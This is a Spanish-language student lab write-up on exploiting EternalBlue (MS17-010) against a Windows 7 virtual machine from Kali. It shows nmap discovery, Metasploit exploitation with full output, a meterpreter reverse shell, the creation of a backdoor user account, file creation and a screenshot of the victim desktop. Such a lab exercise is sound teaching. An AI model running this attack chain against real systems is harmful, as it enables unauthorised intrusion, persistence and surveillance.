

Práctica eternalblue en W7

Comandos para vulnerar un SO con W7 mediante
la vulneración de eternalblue desde Kali

Luis Reyes Volquez

Comando ifconfig

- Se utiliza para ver las interfaces de red y toda la información que estas tienen (como la ip, netmask, etc...).

```
(kali@kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet [redacted] netmask [redacted] broadcast [redacted]  
    inet6 fe80::5994:b23:2d92:bde3 prefixlen 64 scopeid 0x20<link>  
    inet6 fd17:625c:f037:2:d6e4:1f9b:922d:9c6f prefixlen 64 scopeid 0x0  
<global>  
    ether 08:00:27:63:b0:05 txqueuelen 1000 (Ethernet)  
    RX packets 1912045 bytes 2777600557 (2.5 GiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 407870 bytes 25237555 (24.0 MiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
    inet [redacted] netmask [redacted]  
    inet6 ::1 prefixlen 128 scopeid 0x10<host>  
    loop txqueuelen 1000 (Local Loopback)  
    RX packets 10 bytes 654 (654.0 B)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 10 bytes 654 (654.0 B)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Comando sudo arp-scan -l [interfaz de red] --localnet

- Se utiliza para ver las ip que están conectadas a la red

```
(kali@kali)-[~]
$ sudo nmap -sn [redacted]/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-31 15:06 EST
Nmap scan report for [redacted]
Host is up (0.0049s latency).
MAC Address: B8:3A:08:6C:DE:00 (Tenda Technology,Ltd.Dongguan branch)
Nmap scan report for [redacted]
Host is up (0.14s latency).
MAC Address: 2C:71:FF:E2:F3:47 (Amazon Technologies)
Nmap scan report for [redacted]
Host is up (0.16s latency).
MAC Address: 94:24:B8:AD:F1:8B (Gree Electric Appliances, OF Zhuhai)
Nmap scan report for [redacted]
Host is up (0.23s latency).
MAC Address: C0:E5:DA:59:70:DA (Qingdao Intelligent&Precise Electronics)
Nmap scan report for [redacted]
Host is up (0.16s latency).
MAC Address: 54:BD:79:C3:A0:43 (Samsung Electronics)
Nmap scan report for [redacted]
Host is up (0.0036s latency).
MAC Address: 8C:55:2B:60:C4:84 (Unknown)
Nmap scan report for 192.168.1.114
Host is up (0.0022s latency).
MAC Address: 08:00:27:75:BF:11 (PCS Systemtechnik/Oracle VirtualBox virtual N
IC)
Nmap scan report for 192.168.1.113
Host is up.
Nmap done: 256 IP addresses (8 hosts up) scanned in 3.95 seconds
```

Comando sudo nmap -sn [ip]/[prefijo de red]

- Se utiliza también para saber los dispositivos que están conectados a la red

```
(kali㉿kali)-[~]  
$ sudo nmap -sn [redacted]  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-31 15:21 EST  
Nmap scan report for [redacted]  
Host is up (0.019s latency).  
MAC Address: B8:3A:08:6C:DE:00 (Tenda Technology,Ltd.Dongguan branch)  
Nmap scan report for [redacted]  
Host is up (0.011s latency).  
MAC Address: 8C:55:2B:60:C4:84 (Unknown)  
Nmap scan report for [redacted]  
Host is up (0.00082s latency).  
MAC Address: 08:00:27:75:BF:11 (PCS Systemtechnik/Oracle VirtualBox virtual N  
IC)  
Nmap scan report for [redacted]  
Host is up.  
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.97 seconds
```

Comando ping -c [numero de paquetes que se quieren enviar] [ip]

- Se utiliza para darle un ping a las ip y en este caso la utilizamos para saber además la ttl de la victima, probamos con todas para averiguar a cual vulneramos.

```
(kali@kali)-[~]  
$ ping -c [redacted]  
PING 192.168.1.114 (192.168.1.114) 56(84) bytes of data.  
64 bytes from 192.168.1.114: icmp_seq=1 ttl=128 time=0.544 ms  
  
— 192.168.1.114 ping statistics —  
1 packets transmitted, 1 received, 0% packet loss, time 0ms  
rtt min/avg/max/mdev = 0.544/0.544/0.544/0.000 ms
```

Comando sudo nmap -p- -sCV -vvv -min-rate 5000 [ip a vulnerar]

- Se utiliza para conocer los puertos abiertos y los servicios que los mantienen abiertos de nuestra victima.

```
(kali@kali)-[~]  
$ sudo nmap -p- -sCV -vvv -min-rate 5000 [redacted]  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-31 16:12 EST  
NSE: Loaded 157 scripts for scanning.  
NSE: Script Pre-scanning.  
NSE: Starting runlevel 1 (of 3) scan.  
Initiating NSE at 16:12  
Completed NSE at 16:12, 0.00s elapsed  
NSE: Starting runlevel 2 (of 3) scan.  
Initiating NSE at 16:12  
Completed NSE at 16:12, 0.00s elapsed  
NSE: Starting runlevel 3 (of 3) scan.  
Initiating NSE at 16:12  
Completed NSE at 16:12, 0.00s elapsed  
Initiating ARP Ping Scan at 16:12  
Scanning 192.168.1.114 [1 port]  
Completed ARP Ping Scan at 16:12, 0.10s elapsed (1 total hosts)  
Initiating Parallel DNS resolution of 1 host. at 16:12  
Completed Parallel DNS resolution of 1 host. at 16:12, 0.01s elapsed  
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, S  
F: 0, TR: 1, CN: 0]
```


Comando `sudo nmap --script "vuln and safe" -p [puertos a vulnerar separados por comas] [ip]`

- Se utiliza para saber si los puertos abiertos se pueden explotar con el script “vuln and safe”.

```
(kali@kali)-[~]
$ sudo nmap --script "vuln and safe" -p 135,139,445 192.168.1.114
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-31 16:22 EST
Nmap scan report for 192.168.1.114
Host is up (0.00032s latency).

PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
MAC Address: 08:00:27:75:BF:11 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH
|     A critical remote code execution vulnerability exists in Microsoft SM
Bv1
|     servers (ms17-010).
```

Comando msfconsole -q

- Se utiliza para abrir la consola msf.

```
(kali@kali)-[~]  
$ msfconsole -q  
msf > search eternalblue  
  
Matching Modules  
-----  
  
#   Name                                     Disclosure Date   Rank  
Check Description  
--   -  
0   exploit/windows/smb/ms17_010_eternalblue 2017-03-14       averag  
e Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption  
1   \_ target: Automatic Target           .               .  
2   \_ target: Windows 7                   .               .  
3   \_ target: Windows Embedded Standard 7 .               .  
4   \_ target: Windows Server 2008 R2      .               .  
5   \_ target: Windows 8                     .               .  
6   \_ target: Windows 8.1                   .               .  
7   \_ target: Windows Server 2012          .               .  
.
```

Comando search eternalblue

- Se utiliza para activar el eternalblue.

```
(kali@kali)-[~]
$ msfconsole -q
msf > search eternalblue

Matching Modules

#   Name                                     Disclosure Date   Rank
-   -
0   exploit/windows/smb/ms17_010_eternalblue 2017-03-14        averag
e Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1   \_ target: Automatic Target                .                  .
.   .
2   \_ target: Windows 7                      .                  .
.   .
3   \_ target: Windows Embedded Standard 7    .                  .
.   .
4   \_ target: Windows Server 2008 R2         .                  .
.   .
5   \_ target: Windows 8                      .                  .
.   .
6   \_ target: Windows 8.1                   .                  .
.   .
7   \_ target: Windows Server 2012           .                  .
.   .
```

Comando use 0

- Se utiliza para usar el eternalblue.

```
msf > use 0  
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp  
msf exploit(windows/smb/ms17_010_eternalblue) > 
```

Comando show options

- Se utiliza para ver las opciones del eternalblue.

```
msf > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > show options
```

Module options (exploit/windows/smb/ms17_010_eternalblue):

| Name | Current Setting | Required | Description |
|-------------|-----------------|----------|---|
| RHOSTS | | yes | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT | 445 | yes | The target port (TCP) |
| SMBDomain | | no | (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. |
| SMBPass | | no | (Optional) The password for the specified username |
| SMBUser | | no | (Optional) The username to authenticate as |
| VERIFY_ARCH | true | yes | Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded St |

loit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

| Name | Current Setting | Required | Description |
|----------|-----------------|----------|---|
| EXITFUNC | thread | yes | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST | | yes | The listen address (an interface may be specified) |
| LPORT | 4444 | yes | The listen port |

Exploit target:

| Id | Name |
|----|------------------|
| 0 | Automatic Target |

View the full module info with the `info`, or `info -d` command.

```
msf exploit(windows/smb/ms17_010_eternalblue) > 
```

Comando set RHOST [ip victima]

- Se utiliza para configurar el host remoto del eternalblue.

```
View the full module info with the info, or info -d command.  
  
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST [redacted]  
RHOST => [redacted]  
msf exploit(windows/smb/ms17_010_eternalblue) > 
```

Comando show options

- Lo volvemos a utilizar para confirmar que se hay configurado y nos damos cuenta cuando en este apartado aparece la ip de la victima.

```
msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):
```

| Name | Current Setting | Required | Description |
|---------------|-----------------|----------|---|
| RHOSTS | 10.10.10.4 | yes | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT | 445 | yes | The target port (TCP) |
| SMBDomain | | no | (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. |
| SMBPass | | no | (Optional) The password for the specified username |
| SMBUser | | no | (Optional) The username to authenticate as |
| VERIFY_ARCH | true | yes | Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. |
| VERIFY_TARGET | true | yes | Check if remote OS matches exploit Target. Only affects Windows |

Comando check

- Lo utilizamos para verificar si todo nos ha salido bien.

```
msf exploit(windows/smb/ms17_010_eternalblue) > check
[*] [REDACTED] - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] [REDACTED] - Host is likely VULNERABLE to MS17-010! - Windows
7 Home Basic 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/li
b/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+'
and '?' was replaced with '*' in regular expression
[*] [REDACTED] - Scanned 1 of 1 hosts (100% complete)
[+] [REDACTED] - The target is vulnerable.
msf exploit(windows/smb/ms17_010_eternalblue) > █
```

Comando exploit

- Lo utilizamos para explotar y ganar acceso a la maquina victima, nos damos cuenta de que fue exitoso el procedimiento cuando sale WIN y aparece el meterpreter.

```
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on [REDACTED]:444
[*] [REDACTED] 45 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] [REDACTED] 45 - Host is likely VULNERABLE to MS17-010! - Windows
7 Ho [REDACTED] service Pack 1 x64 (64-bit)
[*] [REDACTED] 45 - Scanned 1 of 1 hosts (100% complete)
[+] [REDACTED] 45 - The target is vulnerable.
[*] [REDACTED] 45 - Connecting to target for exploitation.
[+] [REDACTED] 45 - Connection established for exploitation.
[+] [REDACTED] 45 - Target OS selected valid for OS indicated by SMB repl
y [REDACTED]
[*] [REDACTED] 45 - CORE raw buffer dump (40 bytes)
[*] [REDACTED] 45 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65
20 [REDACTED] 45 - 0x00000010 61 73 69 63 20 37 36 30 31 20 53 65 72 76
69 [REDACTED] 45 - 0x00000020 65 20 50 61 63 6b 20 31
[*] [REDACTED] 45 - Target arch selected valid for arch indicated by DCE/
RPC [REDACTED]
[*] [REDACTED] 45 - Trying exploit with 12 Groom Allocations.
[*] [REDACTED] 45 - Sending all but last fragment of exploit packet
[*] [REDACTED] 45 - Starting non-paged pool grooming
[+] [REDACTED] 45 - Sending SMBv2 buffers
[+] [REDACTED] 45 - Closing SMBv1 connection creating free hole adjacent
to S [REDACTED]
[*] [REDACTED] 45 - Sending final SMBv2 buffers.
[*] [REDACTED] 45 - Sending last fragment of exploit packet!
```

```
[*] [REDACTED] 5 - 0x00000020 65 20 50 61 63 6b 20 31
[+] [REDACTED] 5 - Target arch selected valid for arch indicated by DCE/
RPC [REDACTED]
[*] [REDACTED] 5 - Trying exploit with 17 Groom Allocations.
[*] [REDACTED] 5 - Sending all but last fragment of exploit packet
[*] [REDACTED] 5 - Starting non-paged pool grooming
[+] [REDACTED] 5 - Sending SMBv2 buffers
[+] [REDACTED] 5 - Closing SMBv1 connection creating free hole adjacent
to SM [REDACTED]
[*] [REDACTED] 5 - Sending final SMBv2 buffers.
[*] [REDACTED] 5 - Sending last fragment of exploit packet!
[*] [REDACTED] 5 - Receiving response from exploit packet
[+] [REDACTED] 5 - ETERNALBLUE overwrite completed successfully (0xC0000
00D)!
[*] [REDACTED] 5 - Sending egg to corrupted connection.
[*] [REDACTED] 5 - Triggering free of corrupted buffer.
[*] S [REDACTED] 30982 bytes) to [REDACTED]
[+] [REDACTED] 5 - -----
-----
[+] [REDACTED] 5 - -----WIN-----
-----
[+] [REDACTED] 5 - -----
-----
[*] Meterpreter session 1 opened [REDACTED]:444 → [REDACTED]:159)
at 2026-01-31 17:12:12 -0500
meterpreter > 
```

Comando shell

- Lo utilizamos para entrar al CMD de la victima.

```
meterpreter > shell
Process 1704 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Comando net user [nombre de usuario] [contraseña] /add

- Lo utilizamos para crear un usuario en la maquina victima.

```
C:\Windows\system32>net user Luis 1234 /add
net user Luis 1234 /add
The command completed successfully.
```

```
C:\Windows\system32>net user
net user
```

```
User accounts for \\
```

```
--
Admin      Administrator      Guest
Lola       Luis
```

```
The command completed with one or more errors.
```

Comando net user

- Lo utilizamos para verificar si se creo exitosamente el usuario en la maquina victima.

```
C:\Windows\system32>net user Luis 1234 /add
net user Luis 1234 /add
The command completed successfully.
```

```
C:\Windows\system32>net user
net user
```

```
User accounts for \\
```

```
--
Admin      Administrator      Guest
Lola       Luis
```

The command completed with one or more errors.

Comandos cd.. Y dir

- Lo utilizamos para cambiar de directorios.
- Lo utilizamos para enlistar los directorios.

```
C:\Windows\system32>cd .. / ..  
cd .. / ..  
  
C:\>dir  
dir  
Volume in drive C has no label.  
Volume Serial Number is 44E2-21EC  
  
Directory of C:\  
  
07/14/2009  04:20 AM    <DIR>          PerfLogs  
07/14/2009  06:09 AM    <DIR>          Program Files  
07/14/2009  05:57 AM    <DIR>          Program Files (x86)  
03/28/2024  05:52 PM    <DIR>          Users  
03/28/2024  05:36 PM             1,449 vboxpostinstall.log  
03/28/2024  05:37 PM    <DIR>          Windows  
1 File(s)                1,449 bytes  
5 Dir(s)  24,180,756,480 bytes free
```

Comando type nul > [nombre].txt

- Lo utilizamos para crear un documento.

```
C:\Users\Lola\Desktop>type nul > Luis.txt
type nul > Luis.txt

C:\Users\Lola\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 44E2-21EC

Directory of C:\Users\Lola\Desktop

01/31/2026  11:30 PM    <DIR>          .
01/31/2026  11:30 PM    <DIR>          ..
01/31/2026  11:30 PM                0 Luis.txt
03/28/2024  05:54 PM               32 user.txt
                2 File(s)                32 bytes
                2 Dir(s)  24,180,756,480 bytes free
```

Comando exit y screenshot

- Lo utilizamos para salir de la consola CMD de la maquina victima.
- Lo utilizamos para hacer una captura de pantalla del escritorio de la victima.

```
C:\Users\Lola\Desktop>exit
exit
meterpreter > screenshot
Screenshot saved to: /home/kali/yQnZFsuy.jpeg
meterpreter > Interrupt: use the 'exit' command to quit
meterpreter > █
```

- Evidencia del archivo que creamos en el escritorio.

